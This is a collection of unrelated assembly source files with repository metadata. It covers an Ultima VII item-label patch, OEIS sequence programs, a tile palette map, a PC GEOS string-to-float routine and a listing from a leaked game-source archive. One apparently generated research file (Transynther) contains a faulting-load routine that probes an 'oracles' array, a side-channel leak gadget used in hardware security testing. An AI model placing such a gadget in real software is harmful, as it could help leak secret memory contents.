] | 19 | 2018-11-20T04:06:49.000Z | 2021-11-08T16:37:10.000Z | u7-common/patch-itemLabels.asm | ptrie/UltimaHacks | 2c3557a86d94ad8b54b26bc395b9aed1604f8be1 | [
"MIT"
] | 4 | 2020-09-01T17:57:36.000Z | 2022-01-04T20:51:11.000Z | [bits 16]
startPatch EXE_LENGTH, itemLabels
%macro produceTextOrBarkWithShape 0
callVarArgsEopFromOverlay getKeyboardShiftBits, 0
%%tryShift:
test ax, KeyboardShiftBit_RIGHT_SHIFT | KeyboardShiftBit_LEFT_SHIFT
jz .notShift
mov ax, ItemLabelType_WEIGHT
jmp %%haveLabelType
.notShift:
%%tryCtrl:
test ax, KeyboardShiftBit_CTRL
jz .notCtrl
mov ax, ItemLabelType_BULK
jmp %%haveLabelType
.notCtrl:
%%tryAlt:
test ax, KeyboardShiftBit_ALT
jz .notAlt
push word [bp+var_ibo]
callVarArgsEopFromOverlay shapeBarkForContent, 1
pop cx
jmp calcJump(off_end)
.notAlt:
mov ax, ItemLabelType_NAME
%%haveLabelType:
push ax
push word [bp+var_ibo]
lea ax, [bp+var_string]
push ax
callVarArgsEopFromOverlay produceItemLabelText, 3
add sp, 6
%endmacro
startBlockAt addr_clickItemInWorld_produceText
%assign var_ibo -0x02
%assign var_string -0x68
%define off_end off_clickItemInWorld_end
mov ax, [bp+var_ibo]
produceTextOrBarkWithShape
times 39 nop
endBlockAt off_clickItemInWorld_produceText_end
startBlockAt addr_clickItemInInventory_produceText
%assign arg_pn_ibo 0x06
%assign var_string -0x60
%assign var_ibo -0x60
%define off_end off_clickItemInInventory_end
mov bx, [bp+arg_pn_ibo]
mov ax, [bx]
mov [bp+var_ibo], ax
produceTextOrBarkWithShape
times 20 nop
endBlockAt off_clickItemInInventory_produceText_end
endPatch
| 19.631579 | 70 | 0.735925 |
9a4365d39830b5cc6fb0a3e8c6f0c74123473ba4 | 144 | asm | Assembly | other.7z/SFC.7z/SFC/ソースデータ/ヨッシーアイランド/日本_Ver1/sfc/ys_w48.asm | prismotizm/gigaleak | d082854866186a05fec4e2fdf1def0199e7f3098 | [
"MIT"
] | null | null | null | other.7z/SFC.7z/SFC/ソースデータ/ヨッシーアイランド/日本_Ver1/sfc/ys_w48.asm | prismotizm/gigaleak | d082854866186a05fec4e2fdf1def0199e7f3098 | [
"MIT"
] | null | null | null | other.7z/SFC.7z/SFC/ソースデータ/ヨッシーアイランド/日本_Ver1/sfc/ys_w48.asm | prismotizm/gigaleak | d082854866186a05fec4e2fdf1def0199e7f3098 | [
"MIT"
] | null | null | null | Name: ys_w48.asm
Type: file
Size: 26780
Last-Modified: '2016-05-13T04:51:15Z'
SHA-1: 35D6FA96CBE4A48AEB8640FEA97AE91568735771
Description: null
| 20.571429 | 47 | 0.8125 |
fca8e6ad171996d7c3a86de97e4d31664e32b6a6 | 517 | asm | Assembly | gfx/tilesets/museum_palette_map.asm | AtmaBuster/pokeplat-gen2 | fa83b2e75575949b8f72cb2c48f7a1042e97f70f | [
"blessing"
] | 6 | 2021-06-19T06:41:19.000Z | 2022-02-15T17:12:33.000Z | gfx/tilesets/museum_palette_map.asm | AtmaBuster/pokeplat-gen2-old | 01e42c55db5408d72d89133dc84a46c699d849ad | [
"blessing"
] | null | null | null | gfx/tilesets/museum_palette_map.asm | AtmaBuster/pokeplat-gen2-old | 01e42c55db5408d72d89133dc84a46c699d849ad | [
"blessing"
] | 2 | 2021-08-11T19:47:07.000Z | 2022-01-01T07:07:56.000Z | tilepal 0, GRAY, RED, GRAY, ROOF, ROOF, ROOF, GRAY, GRAY
tilepal 0, BROWN, BROWN, BROWN, GRAY, GRAY, GRAY, GREEN, GREEN
tilepal 0, WATER, GRAY, GRAY, ROOF, ROOF, ROOF, BROWN, BROWN
tilepal 0, BROWN, BROWN, BROWN, GRAY, GRAY, GRAY, GREEN, GREEN
tilepal 0, YELLOW, YELLOW, ROOF, ROOF, ROOF, ROOF, GRAY, GRAY
tilepal 0, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, BROWN, BROWN
tilepal 0, YELLOW, YELLOW, BROWN, BROWN, RED, RED, GRAY, GRAY
tilepal 0, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, BROWN, BROWN
rept 32
db $ff
endr | 43.083333 | 63 | 0.692456 |
8ad203571adcdf47a65c8f8a9c1876ee43ba8c2e | 600 | asm | Assembly | oeis/168/A168589.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/168/A168589.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/168/A168589.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A168589: a(n) = (2 - 3^n)*(-1)^n.
; 1,1,-7,25,-79,241,-727,2185,-6559,19681,-59047,177145,-531439,1594321,-4782967,14348905,-43046719,129140161,-387420487,1162261465,-3486784399,10460353201,-31381059607,94143178825,-282429536479,847288609441,-2541865828327,7625597484985,-22876792454959,68630377364881,-205891132094647,617673396283945,-1853020188851839,5559060566555521,-16677181699666567,50031545098999705,-150094635296999119,450283905890997361,-1350851717672992087,4052555153018976265,-12157665459056928799,36472996377170786401
add $0,1
mov $1,-3
pow $1,$0
div $1,24
mul $1,8
add $1,1
mov $0,$1
| 54.545455 | 495 | 0.803333 |
9fd3fadc8a7a7dd6c54c799e366a431b001f2174 | 6,318 | asm | Assembly | Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xa0_notsx.log_21829_1084.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xa0_notsx.log_21829_1084.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xa0_notsx.log_21829_1084.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r13
push %r15
push %r9
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x4968, %r9
nop
nop
nop
nop
and %rbp, %rbp
mov (%r9), %r15d
nop
nop
nop
xor $14469, %r13
lea addresses_WT_ht+0xf288, %r15
nop
nop
nop
sub $16062, %rax
movb (%r15), %r11b
nop
add %r15, %r15
lea addresses_D_ht+0x86c, %rax
nop
inc %r12
movl $0x61626364, (%rax)
sub $11671, %r11
lea addresses_WT_ht+0xcc78, %rsi
lea addresses_WC_ht+0xf0e8, %rdi
clflush (%rsi)
clflush (%rdi)
nop
nop
nop
nop
sub %r13, %r13
mov $116, %rcx
rep movsb
nop
cmp %rcx, %rcx
lea addresses_WT_ht+0x1a68, %r12
clflush (%r12)
nop
nop
nop
nop
xor $61517, %r9
mov $0x6162636465666768, %r15
movq %r15, (%r12)
nop
sub %r15, %r15
lea addresses_A_ht+0x94e8, %rsi
lea addresses_WT_ht+0x1a528, %rdi
nop
nop
xor %r9, %r9
mov $110, %rcx
rep movsq
sub %r9, %r9
lea addresses_D_ht+0x14f92, %r12
nop
add $60084, %rcx
mov (%r12), %rax
nop
nop
nop
add %rdi, %rdi
lea addresses_UC_ht+0x109d0, %r9
nop
add $41540, %rsi
mov (%r9), %r11d
nop
nop
nop
and $56108, %rcx
lea addresses_UC_ht+0x162e8, %rsi
lea addresses_WT_ht+0x1b0e8, %rdi
and $9447, %r13
mov $121, %rcx
rep movsb
nop
nop
xor $39722, %r15
lea addresses_D_ht+0x45e8, %rdi
nop
xor %rcx, %rcx
movb (%rdi), %r9b
nop
dec %r12
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r9
pop %r15
pop %r13
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r9
push %rax
push %rbx
push %rdx
// Faulty Load
mov $0x2e163600000004e8, %rax
nop
dec %rbx
mov (%rax), %edx
lea oracles, %r10
and $0xff, %rdx
shlq $12, %rdx
mov (%r10,%rdx,1), %rdx
pop %rdx
pop %rbx
pop %rax
pop %r9
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_NC', 'AVXalign': True, 'size': 32, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_NC', 'AVXalign': False, 'size': 4, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 5}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 5}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 1}}
{'src': {'type': 'addresses_WT_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 5}}
{'src': {'type': 'addresses_A_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': True}}
{'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 1}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 2}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}}
{'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 8}, 'OP': 'LOAD'}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 40.76129 | 2,999 | 0.655745 |
4f6454b44a2b8a820d4499b68ad3515b128c4b24 | 381 | asm | Assembly | oeis/158/A158570.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/158/A158570.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/158/A158570.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A158570: A007814((2n-1)!!+1)
; Submitted by Simon Strandgaard
; 1,2,4,1,1,2,5,1,1,2,4,1,1,2,5,1,1,2,4,1,1,2,5,1,1,2,4,1,1,2,5,1,1,2,4,1,1,2,5,1,1,2,4,1,1,2,5,1,1,2,4,1,1,2,5,1,1,2,4,1,1,2,5,1,1,2,4,1,1,2,5,1,1,2,4,1,1,2,5,1,1,2,4,1,1,2,5,1,1,2,4,1,1,2,5,1,1,2,4,1
mov $1,$0
add $0,1
mod $0,4
mul $1,$0
sub $0,1
div $1,4
gcd $1,$0
add $1,$0
mul $1,$0
mov $0,$1
div $0,2
add $0,1
| 22.411765 | 201 | 0.538058 |
055473ca316612233fa405b57357f2a668f61b60 | 15,898 | asm | Assembly | Library/Math/Float/floatConvert.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 504 | 2018-11-18T03:35:53.000Z | 2022-03-29T01:02:51.000Z | Library/Math/Float/floatConvert.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 96 | 2018-11-19T21:06:50.000Z | 2022-03-06T10:26:48.000Z | Library/Math/Float/floatConvert.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 73 | 2018-11-19T20:46:53.000Z | 2022-03-29T00:59:26.000Z |
COMMENT @-----------------------------------------------------------------------
Copyright (c) Geoworks 1991 -- All Rights Reserved
PROJECT: PC GEOS
MODULE:
FILE: floatConvert.asm
AUTHOR: Cheng, 1/91
ROUTINES:
Name Description
---- -----------
FloatAsciiToFloat - Global
FloatAsciiToInteger
FloatAsciiToFraction
NextDigit
ConvertDigit
NextNonSpaceChar
NextChar
UngetChar
REVISION HISTORY:
Name Date Description
---- ---- -----------
Cheng 1/91 Initial revision
witt 10/93 DBCS-ized character getting and putting.
DESCRIPTION:
$Id: floatConvert.asm,v 1.1 97/04/05 01:22:57 newdeal Exp $
-------------------------------------------------------------------------------@
COMMENT @-----------------------------------------------------------------------
FUNCTION: FloatAsciiToFloat (originally STRM->FP#)
DESCRIPTION: Given a parsed string, convert it into a floating point
number.
CALLED BY: GLOBAL ()
PASS: al - FloatAsciiToFloatFlags
FAF_PUSH_RESULT - place result onto the fp stack
FAF_STORE_NUMBER - store result into the location given by
es:di
cx - number of characters in the string that the routine
should concern itself with
ds:si - string in this format:
"[+-] dddd.dddd [Ee] [+-] dddd"
Notes:
------
* The string is assumed to be legal because duplicating
the error checking that is done in the parser seems
unnecessary.
* There can be at most a single decimal point.
* Spaces and thousands seperators are ignored.
RETURN: carry clear if successful
carry set if error
DESTROYED: nothing
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
convert pre-exponent portion into a float
keep track of the number of digits after the decimal
convert the exponent
modify the exponent based on the number of digits after the decimal
incorporate the exponent into the float
store the result
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Cheng 1/91 Initial version
-------------------------------------------------------------------------------@
FAF_stackFrame struct
resultFlag FloatAsciiToFloatFlags
; how the resulting number should be stored
sourceAddr fptr.char ; address of string
resultAddr fptr.char ; result to be placed here if so specified
numChars byte ; number of characters in the string
numCharsRead byte ; number of characters processed
negNum byte ; boolean - number is negative
negExp byte ; boolean - number has a negative exponent
SBCS< thousandsSep char ; char - the thousands seperator >
DBCS< thousandsSep wchar ; wchar - the thousands seperator >
SBCS< decimalSep char ; char - the decimal seperator >
DBCS< decimalSep wchar ; wchar - the decimal seperator >
errorFlag byte ; boolean - error encountered
errorType word ; unused right now
FAF_stackFrame ends
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
FloatAsciiToFloatInternal
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: internal call to FloatAsciiToFloat
CALLED BY: GLOBAL
see header directly above for details
exported for coprocessor libriaries
REVISION HISTORY:
Name Date Description
---- ---- -----------
jimmy 10/29/92 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
global FloatAsciiToFloatInternal:far
FloatAsciiToFloatInternal proc far
call FloatAsciiToFloat
ret
FloatAsciiToFloatInternal endp
FloatAsciiToFloat proc far uses ax,bx,cx,dx,ds,di,si
FAF_local local FAF_stackFrame
.enter
if FULL_EXECUTE_IN_PLACE
;
; Make sure the passed float point string is valid
;
EC < push bx >
EC < mov bx, ds
EC < call ECAssertValidFarPointerXIP >
EC < pop bx >
endif
EC< push ax >
EC< test al, not (mask FAF_PUSH_RESULT or mask FAF_STORE_NUMBER) >
EC< ERROR_NZ FLOAT_BAD_FLAGS >
EC< test al, mask FAF_PUSH_RESULT >
EC< je ok >
EC< test al, mask FAF_STORE_NUMBER >
EC< ERROR_NZ FLOAT_BAD_FLAGS >
EC< ok: >
EC< pop ax >
;-----------------------------------------------------------------------
; initialize vars and such
mov FAF_local.resultFlag, al
mov FAF_local.numChars, cl
mov FAF_local.sourceAddr.offset, si
mov FAF_local.sourceAddr.segment, ds
mov FAF_local.resultAddr.offset, di
mov FAF_local.resultAddr.segment, es
clr ax
mov FAF_local.numCharsRead, al
mov FAF_local.negNum, al
mov FAF_local.negExp, al
mov FAF_local.errorFlag, al
mov FAF_local.errorType, ax
;
; get local chars
;
; DR_LOCAL_GET_NUMERIC_FORMAT
call FloatGetDecimalSeperator
SBCS< mov FAF_local.decimalSep, al >
DBCS< mov FAF_local.decimalSep, ax >
call FloatGetThousandsSeperator
SBCS< mov FAF_local.thousandsSep, al >
DBCS< mov FAF_local.thousandsSep, ax >
;-----------------------------------------------------------------------
; start conversion
call FloatEnter ; ds <- fp stack seg
call NextNonSpaceChar ; al <- char
LocalCmpChar ax, '+'
je convertInt
LocalCmpChar ax, '-'
je negNumber
call UngetChar
jmp short convertInt
negNumber:
dec FAF_local.negNum
convertInt:
call FloatAsciiToInteger ; al <- non-numeric ASCII char
LocalCmpChar ax, FAF_local.decimalSep
jne fractionProcessed
call FloatAsciiToFraction ; al <- non-numeric ASCII char
push ax ; save it
call FloatAdd
pop ax
fractionProcessed:
;
; al = non-numeric ASCII char
;
LocalCmpChar ax, 'E'
je processExp
LocalCmpChar ax, 'e'
je processExp
LocalIsNull ax
je doneConvert ; we're done
errorFound:
dec FAF_local.errorFlag ; note error
jmp short doneConvert ; store what results we have
;-----------------------------------------------------------------------
; deal with exponent here
processExp:
;
; check for sign
;
call NextDigit ; al <- digit
jc processSign ; branch if non-digit
call UngetChar
jmp short convertExp
processSign:
LocalCmpChar ax, '+'
je convertExp
LocalCmpChar ax, '-'
jne errorFound
dec FAF_local.negExp
convertExp:
call FloatAsciiToInteger
tst al
je terminationOK
dec FAF_local.errorFlag ; note error found
terminationOK:
;
; ( fp: mantissa exponent )
;
call FloatFloatToDword ; dx:ax <- exponent
;-----------------------------------------------------------------------
; limit checks...
tst dx
js expIsNegative ; branch if negative
jne posExpError ; if <>0, out of range for sure
cmp ax, DECIMAL_EXPONENT_UPPER_LIMIT
jle doneLimitChecks
posExpError:
mov ax, DECIMAL_EXPONENT_UPPER_LIMIT ; force upper limit
jmp short expError
expIsNegative:
cmp dx, 0ffffh ; out of range if <>0ffffh
jne negExpError
cmp ax, DECIMAL_EXPONENT_LOWER_LIMIT
jge doneLimitChecks ; error if limit exceeded
negExpError:
mov ax, DECIMAL_EXPONENT_LOWER_LIMIT ; force lower limit
expError:
dec FAF_local.errorFlag ; note error found
doneLimitChecks:
; end limit checks
;-----------------------------------------------------------------------
call Float10ToTheX ; push 10^ax onto the fp stack
cmp FAF_local.negExp, 0
je posExp
call FloatDivide
jmp short doneConvert
posExp:
call FloatMultiply
;-----------------------------------------------------------------------
; we're done
doneConvert:
;
; negate if negative number
;
cmp FAF_local.negNum, 0
je storeResult
call FloatNegate
storeResult:
;
; store the result
;
mov al, FAF_local.resultFlag
test al, mask FAF_PUSH_RESULT
jnz done ; result already on stack
test al, mask FAF_STORE_NUMBER
jz done ; for now...
les di, FAF_local.resultAddr
call FloatPopNumber
done:
cmp FAF_local.errorFlag, 0
clc
je exit
stc
exit:
call FloatOpDone
.leave
ret
FloatAsciiToFloat endp
COMMENT @-----------------------------------------------------------------------
FUNCTION: FloatAsciiToInteger
DESCRIPTION: Converts the ASCII string into an integer.
( fp: -- X)
Thousands seperators are ignored.
CALLED BY: INTERNAL (FloatAsciiToFloat)
PASS: FAF_stackFrame
RETURN: al/ax - ASCII character that stopped the conversion
cx - number of digits converted
stack frame vars updated
integer on fp stack
DESTROYED: ax,dx
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Cheng 1/91 Initial version
-------------------------------------------------------------------------------@
FloatAsciiToInteger proc near
FAF_local local FAF_stackFrame
.enter inherit near
call Float0 ; initialize number
clr cx ; init count of digits
nextDigit:
call NextDigit ; al <- digit
jc checkDone ; branch if non-digit
;
; process digit
;
inc cx ; inc count
clr ah
push ax ; save digit
call FloatMultiply10 ; destroys ax,cx,dx
pop ax ; retrieve digit
call FloatWordToFloat ; destroys ax,cx,dx,di
call FloatAdd
jmp short nextDigit
checkDone:
LocalCmpChar ax, FAF_local.thousandsSep
je nextDigit ; ignore
.leave
ret
FloatAsciiToInteger endp
COMMENT @-----------------------------------------------------------------------
FUNCTION: FloatAsciiToFraction
DESCRIPTION: Converts the ASCII decimal string into a fraction.
( fp: -- X)
CALLED BY: INTERNAL (FloatAsciiToFloat)
PASS: FAF_stackFrame
RETURN: al/ax - ASCII character that stopped the conversion
cx - number of digits converted
stack frame vars updated
fraction on fp stack
DESTROYED: ax,dx
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Cheng 1/91 Initial version
-------------------------------------------------------------------------------@
FloatAsciiToFraction proc near uses bx,di
.enter
call Float0 ; initialize number
clr cx ; init count
nextDigit:
call NextDigit ; al <- digit
jc startConversion
inc cx ; inc count
clr ah
push ax ; save digit
jmp short nextDigit
startConversion:
; cx = num digits found
jcxz done
mov bx, cx ; save num digits
mov di, ax ; save non-numeric ASCII char
convLoop:
call Float10
call FloatDivide
pop ax
call FloatWordToFloat
call FloatAdd
loop convLoop
call Float10
call FloatDivide
mov cx, bx ; retrieve num digits
mov ax, di ; retrieve non-numeric ASCII char
done:
.leave
ret
FloatAsciiToFraction endp
COMMENT @-----------------------------------------------------------------------
FUNCTION: NextDigit
DESCRIPTION: Retrieves the next numeric char and converts it into a number
if possible.
CALLED BY: INTERNAL (FloatAsciiToFloat)
PASS: nothing
RETURN: carry clear if successful
al - number (not ASCII)
carry set otherwise
DESTROYED: nothing
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Cheng 1/91 Initial version
-------------------------------------------------------------------------------@
NextDigit proc near
call NextNonSpaceChar ; al <- ASCII char
jc exit
call ConvertDigit ; transform char to number
exit:
ret
NextDigit endp
COMMENT @-----------------------------------------------------------------------
FUNCTION: ConvertDigit
DESCRIPTION: Converts an ASCII numeral into a number if possible.
CALLED BY: INTERNAL (FloatAsciiToFloat, NextDigit)
PASS: al/ax - ASCII/Unicode char
RETURN: carry clear if char is numberic
0 <= al <= 9
carry set otherwise
DESTROYED: nothing
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Cheng 1/91 Initial version
-------------------------------------------------------------------------------@
ConvertDigit proc near
LocalCmpChar ax, '0' ; check bounds
jl error
LocalCmpChar ax, '9'
jg error
sub al, '0' ; convert
clc ; signal success
ret
error:
stc ; signal failure
ret
ConvertDigit endp
COMMENT @-----------------------------------------------------------------------
FUNCTION: NextNonSpaceChar
DESCRIPTION: Return the next non-whiespace character from the
string.
CALLED BY: INTERNAL (FloatAsciiToFloat, NextDigit)
PASS: nothing
RETURN: C clear if successful
al - ASCII char
C set if ds:[si] = NULL
DESTROYED: nothing
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Cheng 1/91 Initial version
-------------------------------------------------------------------------------@
NextNonSpaceChar proc near
space:
call NextChar
jc exit ; exit with failure if unsuccessful
; get the next character if the current one is a white space char
if DBCS_PCGEOS
call LocalIsSpace
jnz space
else
LocalCmpChar ax, C_LINEFEED
je space
LocalCmpChar ax, C_ENTER
je space
LocalCmpChar ax, C_TAB
je space
LocalCmpChar ax, C_SPACE
je space
endif
clc ; signal success
exit:
ret
NextNonSpaceChar endp
COMMENT @-----------------------------------------------------------------------
FUNCTION: NextChar
DESCRIPTION: Return the next character from the string. A check is made
to see that the string length that was given is not
exceeded. The routine returns C set if a null is
encountered, or if the length limit is hit.
CALLED BY: INTERNAL (NextNonSpaceChar)
PASS: stack frame
RETURN: al/ax - ds:[si] (SBCS/DBCS)
C set if al = NULL
si <- si + 1
DESTROYED: nothing
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Cheng 1/91 Initial version
witt 10/93 DBCS-ized character getting..
-------------------------------------------------------------------------------@
NextChar proc near uses ds,si
FAF_local local FAF_stackFrame
.enter inherit near
mov al, FAF_local.numChars ; num chars in string
cmp al, FAF_local.numCharsRead
jbe error ; error if all have been processed
inc FAF_local.numCharsRead
lds si, FAF_local.sourceAddr
LocalGetChar ax, dssi
LocalNextChar FAF_local.sourceAddr
LocalIsNull ax ; null term?
jnz done ; branch if not, C = 0
error:
clr ax
stc ; set C if null term
done:
.leave
ret
NextChar endp
COMMENT @-----------------------------------------------------------------------
FUNCTION: UngetChar
DESCRIPTION:
